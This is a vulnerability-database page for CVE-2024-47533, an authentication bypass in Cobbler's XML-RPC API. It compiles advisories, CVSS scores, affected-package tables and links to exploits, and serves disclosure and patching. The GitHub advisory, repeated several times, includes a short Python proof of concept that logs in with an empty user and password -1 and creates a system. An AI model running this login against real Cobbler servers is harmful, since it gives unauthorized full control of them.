CVE-2024-47533
Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
- Record
CVE-2024-47533- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
EUVDEUVD-2024-3281
9.8
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
- Record
EUVD-2024-3281- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-m26c-fcgh-cp6h
9.8
cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
Details
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
Always returns -1 because of the following exception:
binary mode doesn't take an encoding argument
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
PoC
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
Impact
This gives anyone with network access to a cobbler server full control of the server.
- Record
GHSA-m26c-fcgh-cp6h- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
NVD
9.8
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
- Record
CVE-2024-47533- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
OSV
9.8
Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
- Record
CVE-2024-47533- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
OSVGHSA-m26c-fcgh-cp6h
9.8
cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
Details
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
Always returns -1 because of the following exception:
binary mode doesn't take an encoding argument
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
PoC
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
Impact
This gives anyone with network access to a cobbler server full control of the server.
- Record
GHSA-m26c-fcgh-cp6h- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
Show 12 moreShow less
OSVOESA-2025-1411
9.8
cobbler security update
Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.
Security Fix(es):
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)
- Record
OESA-2025-1411- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2025-1412
9.8
cobbler security update
Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.
Security Fix(es):
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)
- Record
OESA-2025-1412- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2025-1413
9.8
cobbler security update
Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.
Security Fix(es):
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)
- Record
OESA-2025-1413- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2025-1414
9.8
cobbler security update
Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.
Security Fix(es):
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)
- Record
OESA-2025-1414- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVOESA-2025-1435
9.8
cobbler security update
Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.
Security Fix(es):
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)
- Record
OESA-2025-1435- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVPYSEC-2026-316
9.8
cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
Details
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
Always returns -1 because of the following exception:
binary mode doesn't take an encoding argument
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
PoC
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
Impact
This gives anyone with network access to a cobbler server full control of the server.
- Record
PYSEC-2026-316- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2024-47533
9.8
Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
- Record
UBUNTU-CVE-2024-47533- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2024:0370-1 No score
Security update for cobbler
This update for cobbler fixes the following issues:
Update to 3.3.7
- Security: Fix issue that allowed anyone to connect to the API as admin (CVE-2024-47533, boo#1231332)
- bind - Fix bug that prevents cname entries from being generated successfully
- Fix build on RHEL9 based distributions (fence-agents-all split)
- Fix for Windows systems
- Docs: Add missing dependencies for source installation
- Fix issue that prevented systems from being synced when the profile was edited
- Record
openSUSE-SU-2024:0370-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:0382-1 No score
Security update for cobbler
This update for cobbler fixes the following issues:
Update to 3.3.7:
-
Security: Fix issue that allowed anyone to connect to the API as admin (CVE-2024-47533, boo#1231332)
-
bind - Fix bug that prevents cname entries from being generated successfully
-
Fix build on RHEL9 based distributions (fence-agents-all split)
-
Fix for Windows systems
-
Docs: Add missing dependencies for source installation
-
Fix issue that prevented systems from being synced when the profile was edited
Update to 3.3.6:
- Upstream all openSUSE specific patches that were maintained in Git
- Fix rename of items that had uppercase letters
- Skip inconsistent collections instead of crashing the daemon
-
Update to 3.3.5:
- Added collection indicies for UUID's, MAC's, IP addresses and hostnames boo#1219933
- Re-added to_dict() caching
- Added lazy loading for the daemon (off by default)
-
Update to 3.3.4:
- Added cobbler-tests-containers subpackage
- Updated the distro_signatures.json database
- The default name for grub2-efi changed to grubx64.efi to match the DHCP template
-
Do generate boot menus even if no profiles or systems - only local boot
-
Avoid crashing running buildiso in certain conditions.
-
Fix settings migration schema to work while upgrading on existing running Uyuni and SUSE Manager servers running with old Cobbler settings (boo#1203478)
-
Consider case of 'next_server' being a hostname during migration of Cobbler collections.
-
Fix problem with 'proxy_url_ext' setting being None type.
-
Update v2 to v3 migration script to allow migration of collections that contains settings from Cobbler 2. (boo#1203478)
-
Fix problem for the migration of 'autoinstall' collection attribute.
-
Fix failing Cobbler tests after upgrading to 3.3.3.
-
Fix regression: allow empty string as interface_type value (boo#1203478)
-
Avoid possible override of existing values during migration of collections to 3.0.0 (boo#1206160)
-
Add missing code for previous patch file around boot_loaders migration.
-
Improve Cobbler performance with item cache and threadpool (boo#1205489)
-
Skip collections that are inconsistent instead of crashing (boo#1205749)
-
Items: Fix creation of 'default' NetworkInterface (boo#1206520)
-
S390X systems require their kernel options to have a linebreak at 79 characters (boo#1207595)
-
settings-migration-v1-to-v2.sh will now handle paths with whitespace correct
-
Fix renaming Cobbler items (boo#1204900, boo#1209149)
-
Fix cobbler buildiso so that the artifact can be booted by EFI firmware. (boo#1206060)
-
Add input_string_*, input_boolean, input_int functiont to public API
- Record
openSUSE-SU-2024:0382-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:14512-1 No score
cobbler-3.3.7-1.1 on GA media
These are all security issues fixed in the cobbler-3.3.7-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:14512-1- Updated
- 2026-11-02
OSVSUSE-SU-2024:4006-1 No score
Security update for SUSE Manager Server 4.3
This update fixes the following issues:
cobbler:
-
Security issues fixed:
- CVE-2024-47533: Prevent privilege escalation from none to admin (bsc#1231332)
-
Other bugs fixed:
- Increase start timeout for cobblerd unit (bsc#1219450)
- Provide sync_single_system for DHCP modules to improve performance (bsc#1219450)
- Add input_string_*, input_boolean, input_int functions to public API
- Add new setting for Uyuni authentication endpoint (bsc#1219887)
grafana-formula:
- Version 0.11.0
- Add SLES 15 SP6 to supported versions (bsc#1228286)
inter-server-sync:
- Version 0.3.5-0
- Decode boolean values for export (bsc#1228545)
saltboot-formula:
- Update to version 0.1.1723628891.ffb1da5
- Rework request stop function to avoid unnecessary warnings (bsc#1212985)
spacecmd:
- Version 4.3.29-0
- Speed up softwarechannel_removepackages (bsc#1227606)
spacewalk-backend:
- Version 4.3.30-0
- Make ISSv1 timezone independent (bsc#1221505)
- reposync: introduce timeout when syncing DEB channels (bsc#1225960)
- yum_src: use proper name variable name for subprocess.TimeoutExpired
- Check and populate PTF attributes at the time of importing packages (bsc#1225619)
- reposync: import GPG keys to RPM DB individually (bsc#1217003)
- Add log string to the journal when services are stopped because of insufficient disk space
spacewalk-certs-tools:
- Version 4.3.26-0
- Fix private key format in jabberd certificate file (bsc#1228851)
- Fix parsing Authority Key Identifier when keyid is not prefixed (bsc#1229079)
- Support multiple certificates for root-ca-file and server-cert-file
spacewalk-client-tools:
- Version 4.3.21-0
- Update translation strings
spacewalk-config:
- Version 4.3.14-0
- Trust the Content-Length header from AJP (bsc#1226439)
spacewalk-java:
- Version 4.3.82-0
- Limit frontend-log message size (bsc#1231900)
- Version 4.3.81-0
- Add detection of Ubuntu 24.04
- Version 4.3.80-0
- Use custom select instead of errata view for better performance (bsc#1225619)
- Version 4.3.79-0
- Add info URL for cobbler to clean the system profile (bsc#1219645)
- Require correct scap packages for Ubuntu
- Require correct scap packages for Debian 12 (bsc#1227746)
- Fix finding system_checkin_threshold configuration value on Sytems Overview page (bsc#1224108)
- Allow changing base channel to SUSE Liberty Linux LTSS when the system is on Liberty (bsc#1228326)
- Implement product migration from RHEL and Clones to SUSE Liberty Linux
- Remove system also from proxy SSH known_hosts (bsc#1228345)
- Fix NullPointerException when generating subscription matcher input (bsc#1228638)
- Allow free products and SUSE Manager Proxy being managed by SUSE Manager Server PAYG
- Open bootstrap script directory URL in a new page (bsc#1225603)
- Delay package list refresh when Salt was updated (bsc#1217978)
- Add SLE Micro 5 to the list of systems which support monitoring (bsc#1227334)
- Add all SLE Micro systems to the list of systems which get PTF repositories
- Update last sync refresh timestamp only when at least one time products were synced before
- Prevent NullPointerException when listing history events without completion time (bsc#1146701)
- Autoinstallation: prevent issues with duplicate IP address due to some networks (bsc#1226461)
- Improve SQL queries and performance to check for PTF packages (bsc#1225619)
- Check the correct Salt package before product migration (bsc#1224209)
- Fix the date format output when using the HTTP API to use ISO 8601 format (bsc#1227543)
- Fix transactional update check for SL Micro (bsc#1227406)
- Improve score comparison in system search to fix ISE (bsc#1228412)
- Fix package profile update on CentOS 7 when yum-utils is not installed (bsc#1227133)
spacewalk-utils:
- Version 4.3.22-0
- Add repositories for Ubuntu 24.04 LTS
- Version 4.3.21-0
- Drop unsupported tool…
- Record
SUSE-SU-2024:4006-1- Updated
- 2026-11-02
OSVSUSE-SU-2024:4007-1 No score
Security update for SUSE Manager Server 4.3
This update fixes the following issues:
release-notes-susemanager:
- Update to SUSE Manager 4.3.14
- Ubuntu 24.04 support as client
- Product migration from RHEL and Clones to SUSE Liberty Linux
- POS image templates now produce compressed images
- Date format for API endpoints has been changed to ISO-8601 format
- Security issues fixed: CVE-2024-47533, CVE-2024-49502, CVE-2024-49503
- Bugs mentioned: bsc#1146701, bsc#1211899, bsc#1212985, bsc#1217003, bsc#1217338 bsc#1217978, bsc#1218090, bsc#1219450, bsc#1219645, bsc#1219887 bsc#1221435, bsc#1221505, bsc#1223312, bsc#1223988, bsc#1224108 bsc#1224209, bsc#1225603, bsc#1225619, bsc#1225960, bsc#1226090 bsc#1226439, bsc#1226461, bsc#1226478, bsc#1226687, bsc#1226917 bsc#1227133, bsc#1227334, bsc#1227406, bsc#1227526, bsc#1227543 bsc#1227599, bsc#1227606, bsc#1227746, bsc#1228036, bsc#1228101 bsc#1228130, bsc#1228147, bsc#1228286, bsc#1228326, bsc#1228345 bsc#1228412, bsc#1228545, bsc#1228638, bsc#1228851, bsc#1228945 bsc#1229079, bsc#1229178, bsc#1229260, bsc#1229339, bsc#1231332 bsc#1231852, bsc#1231922, bsc#1231900
- Record
SUSE-SU-2024:4007-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
cobblerPyPI |
3.3.0 up to 3.3.7 | 3.3.7 |
cobblerPyPI |
3.0.0 up to 3.2.3 | 3.2.3 |
cobblerPyPI |
3.3.0 up to 3.3.7, plus listed versions 3.3.13.3.23.3.33.3.43.3.53.3.6 |
3.3.7 |
cobblerPyPI |
3.0.0 up to 3.2.3, plus listed versions 3.1.23.2.13.2.2 |
3.2.3 |
cobbleropenEuler:22.03-LTS-SP4 |
before 3.2.0-4.oe2203sp4 | 3.2.0-4.oe2203sp4 |
cobbleropenEuler:24.03-LTS |
before 3.2.0-5.oe2403 | 3.2.0-5.oe2403 |
cobbleropenEuler:24.03-LTS-SP1 |
before 3.2.0-5.oe2403sp1 | 3.2.0-5.oe2403sp1 |
cobbleropenEuler:20.03-LTS-SP4 |
before 3.2.0-4.oe2003sp4 | 3.2.0-4.oe2003sp4 |
cobbleropenEuler:22.03-LTS-SP3 |
before 3.2.0-4.oe2203sp3 | 3.2.0-4.oe2203sp3 |
cobblerPyPI |
3.0.0 up to 3.2.3, 3.3.0 up to 3.3.7, plus listed versions 3.1.23.2.13.2.23.3.13.3.2 Show 4 moreShow less3.3.33.3.43.3.53.3.6 |
3.2.33.3.7 |
Show 39 moreShow less
| Package | Affected | Fixed |
|---|---|---|
uyuni-proxy-systemd-servicesSUSE:Manager Client Tools 15 From an advisory covering 3 CVEs |
before 4.3.14-150000.1.27.4 | 4.3.14-150000.1.27.4 |
uyuni-proxy-systemd-servicesSUSE:Manager Client Tools for SLE Micro 5 From an advisory covering 3 CVEs |
before 4.3.14-150000.1.27.4 | 4.3.14-150000.1.27.4 |
mgr-daemonSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.11-150400.3.21.6 | 4.3.11-150400.3.21.6 |
spacecmdSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.29-150400.3.42.8 | 4.3.29-150400.3.42.8 |
spacewalk-backendSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.30-150400.3.47.16 | 4.3.30-150400.3.47.16 |
spacewalk-certs-toolsSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.26-150400.3.36.7 | 4.3.26-150400.3.36.7 |
spacewalk-client-toolsSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.21-150400.3.33.11 | 4.3.21-150400.3.33.11 |
spacewalk-proxySUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.19-150400.3.29.9 | 4.3.19-150400.3.29.9 |
spacewalk-webSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.42-150400.3.52.1 | 4.3.42-150400.3.52.1 |
susemanager-build-keysSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 15.4.10-150400.3.29.4 | 15.4.10-150400.3.29.4 |
uyuni-common-libsSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.11-150400.3.21.6 | 4.3.11-150400.3.21.6 |
uyuni-proxy-systemd-servicesSUSE:Manager Proxy Module 4.3 From an advisory covering 3 CVEs |
before 4.3.14-150000.1.27.4 | 4.3.14-150000.1.27.4 |
cobblerSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 3.3.3-150400.5.52.3 | 3.3.3-150400.5.52.3 |
grafana-formulaSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 0.11.0-150400.3.21.4 | 0.11.0-150400.3.21.4 |
inter-server-syncSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 0.3.5-150400.3.36.13 | 0.3.5-150400.3.36.13 |
saltboot-formulaSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 0.1.1723628891.ffb1da5-150400.3.18.4 | 0.1.1723628891.ffb1da5-150400.3.18.4 |
spacecmdSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.29-150400.3.42.8 | 4.3.29-150400.3.42.8 |
spacewalk-backendSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.30-150400.3.47.16 | 4.3.30-150400.3.47.16 |
spacewalk-certs-toolsSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.26-150400.3.36.7 | 4.3.26-150400.3.36.7 |
spacewalk-client-toolsSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.21-150400.3.33.11 | 4.3.21-150400.3.33.11 |
spacewalk-configSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.14-150400.3.18.6 | 4.3.14-150400.3.18.6 |
spacewalk-javaSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.82-150400.3.96.1 | 4.3.82-150400.3.96.1 |
spacewalk-utilsSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.22-150400.3.29.2 | 4.3.22-150400.3.29.2 |
spacewalk-webSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.42-150400.3.52.1 | 4.3.42-150400.3.52.1 |
susemanagerSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.39-150400.3.58.5 | 4.3.39-150400.3.58.5 |
susemanager-build-keysSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 15.4.10-150400.3.29.4 | 15.4.10-150400.3.29.4 |
susemanager-docs_enSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.14-150400.9.66.2 | 4.3.14-150400.9.66.2 |
susemanager-schemaSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.27-150400.3.45.11 | 4.3.27-150400.3.45.11 |
susemanager-slsSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.45-150400.3.55.4 | 4.3.45-150400.3.55.4 |
susemanager-sync-dataSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.21-150400.3.35.2 | 4.3.21-150400.3.35.2 |
uyuni-common-libsSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.11-150400.3.21.6 | 4.3.11-150400.3.21.6 |
uyuni-reportdb-schemaSUSE:Manager Server Module 4.3 From an advisory covering 3 CVEs |
before 4.3.11-150400.3.18.12 | 4.3.11-150400.3.18.12 |
release-notes-susemanager-proxySUSE:Manager Proxy 4.3 From an advisory covering 3 CVEs |
before 4.3.14-150400.3.90.1 | 4.3.14-150400.3.90.1 |
release-notes-susemanagerSUSE:Manager Server 4.3 From an advisory covering 3 CVEs |
before 4.3.14-150400.3.122.1 | 4.3.14-150400.3.122.1 |
cobblerSUSE:Package Hub 15 SP6 |
before 3.3.7-bp156.2.6.1 | 3.3.7-bp156.2.6.1 |
cobbleropenSUSE:Leap 15.6 |
before 3.3.7-bp156.2.6.1 | 3.3.7-bp156.2.6.1 |
cobblerSUSE:Package Hub 15 SP5 |
before 3.3.7-bp155.2.3.2 | 3.3.7-bp155.2.3.2 |
cobbleropenSUSE:Leap 15.5 |
before 3.3.7-bp155.2.3.2 | 3.3.7-bp155.2.3.2 |
cobbleropenSUSE:Tumbleweed |
before 3.3.7-1.1 | 3.3.7-1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | baph00met/CVE-2024-47533 | 2025-08-11 |
| PoC in GitHub | 00xCanelo/CVE-2024-47533-PoC | 2025-08-12 |
| PoC in GitHub | dollarboysushil/CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC | 2025-08-12 |
| PoC in GitHub | zs1n/CVE-2024-47533 | 2025-08-13 |
| PoC in GitHub | okkotsu1/CVE-2024-47533 | 2025-08-14 |
| Nuclei | Cobbler 'XML-RPC' - Authentication Bypass |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, exploits, facts | ||
| affected, exploits | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-47533 is a critical vulnerability (CVSS 9.8) in Cobbler, published November 18, 2024. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 4.00%, the 90th percentile. Fixed in cobbler 3.3.7.
References
github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h
github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0
github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda
nvd.nist.gov/vuln/detail/CVE-2024-47533
